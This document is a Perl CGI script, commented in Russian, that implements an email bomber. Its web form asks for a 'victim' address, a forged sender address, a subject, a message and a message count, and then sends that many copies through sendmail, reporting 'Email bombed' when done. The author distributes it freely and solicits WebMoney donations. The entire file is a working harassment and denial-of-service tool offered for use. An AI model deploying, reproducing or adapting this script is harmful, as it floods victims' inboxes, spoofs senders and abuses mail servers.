#!/usr/bin/perl
#Перл майл бомбер в1.0
#Автор & програмист этого скрипта Michelle {email :
michelle@freenet.am} {ICQ : 152272562} {Wmz : Z182338643700}.
#Этот скрипт распространяется Free {бесплатно}, но если Вы хотите материально поддержать автора/програмиста, я буду благодарен & в примечании напишите "за Перл майл бомбер" + "Url" где установили этот скрипт.
#Пи.Ся.
#Со всеми комментариями, пожеланиями, угрозами пишите или стучите.
$mail_prog="/usr/sbin/sendmail";
print "Content-type:text/html\n\n";
&get_form;
$style=0;$action=$FORM{action};
if($action eq ""){&mail;exit;}
elsif($action eq "bombing"){$style=1;&bombing;exit;}
else{&mail;exit;}
sub mail{if($style eq "1"){$style="style='height: 100%;width:193'";}else{$style="style='width: 100%; height: 100%;'";}print "<script>function check(){document.bomber.toemail.value=\"\";documen t.bomber.email.value=\"\";document.bomber.sabj.val ue=\"\";document.bomber.nums.value=\"\";document.b omber.body.value=\"\";return false;}</script><table border=1 align=center width=10%><tr><td align=center>Перл майл бомбер<bR>$errors</td></tr><tr><td><table border=1 width=100%><tr><form action=bomber.pl name=bomber method=post><input type=hidden name=action value=bombing><td width=50%>Емайл жертвы :</td><td width=50%><input name=toemail maxlength=50 $style value=\"$toemail\"></td></tr><tr><td width=50%>Емайл отправителя:</td><td width=50%><input name=email maxlength=50 $style value=\"$email\"></td></tr><tr><td width=50%>Тема :</td><td width=50%><input name=sabj maxlength=50 $style value=\"$sabj\"></td></tr><tr><td width=50%>Количество писем :</td><td><input name=nums size=3 maxlength=4 style='height: 100%;' value=\"$nums\"></tD></tr></table></td></tr><tr><td>Сообщение :<br> &nb sp; <textarea name=body cols=43 rows=3>$body</textarea></td></tr><tr><td><table border=1 align=center><tr><td><input type=submit VALUE=Отправить></td></form><form onsubmit=\"return check()\"><td><input type=submit value=Очистить></td></form></tr></table></td></tr><tr><td align=centeR>Написанно Michelle-ем :]</td></tr></table>";}
sub bomber{open(MAIL, "|$mail_prog -t") || die "nemogu otpravit' email

\n";
print MAIL "To: $toemail \n";
print MAIL "From: $email \n";
print MAIL "Subject: $sabj\n\n";
print MAIL "$body";
close (MAIL);}
sub bombing{
$toemail=$FORM{toemail};
$email=$FORM{email};
$sabj=$FORM{sabj};
$nums=$FORM{nums};
$body=$FORM{body};
$nums=int abs($nums);
if(!IsValidMail($toemail)){$errors="Емайл жертвы не содержит обьязательных символов.";&mail;exit;}
if(!IsValidMail($email)){$errors="Емайл отправителя не содержит обьязательных символов.";&mail;exit;}
if($sabj eq ""){$errors="Введите тему письма.";&mail;exit;}
if($nums eq "0"){$errors="Количество писем не указанно.";&mail;exit;}
if($body eq ""){$errors="Введите сообщение письма.";&mail;exit;}
for($i=1;$i<=$nums;$i++){&bomber;}
$errors="Емайл забомблен.";&mail;exit;}
sub get_form{
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
@pairs = split(/&/, $buffer);
foreach $pair (@pairs){
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ s/<!--(.|\n)*-->//g;
$value =~ s/\"/"/g;
$value =~ s/\n//g;
$value =~ s/\</</g;
$value =~ s/\>/>/g;
$FORM{$name} = $value;}}
sub IsValidMail{$mail=shift;
if($mail =~ /^([A-Z0-9a-z\-\_\.])+\@([A-Z0-9a-z\-\_\.]+\.[A-Za-z]+)$/){$mail_login=$1;$domain=$2;
return 0 if($domain =~ /\.\./);
return 1 if($domain =~ /^[A-Z0-9a-z\-\_\.]+$/);
return 1 if($mail_login =~ /^[A-Z0-9a-z\-\_\.]+$/);}
else{return 0;}}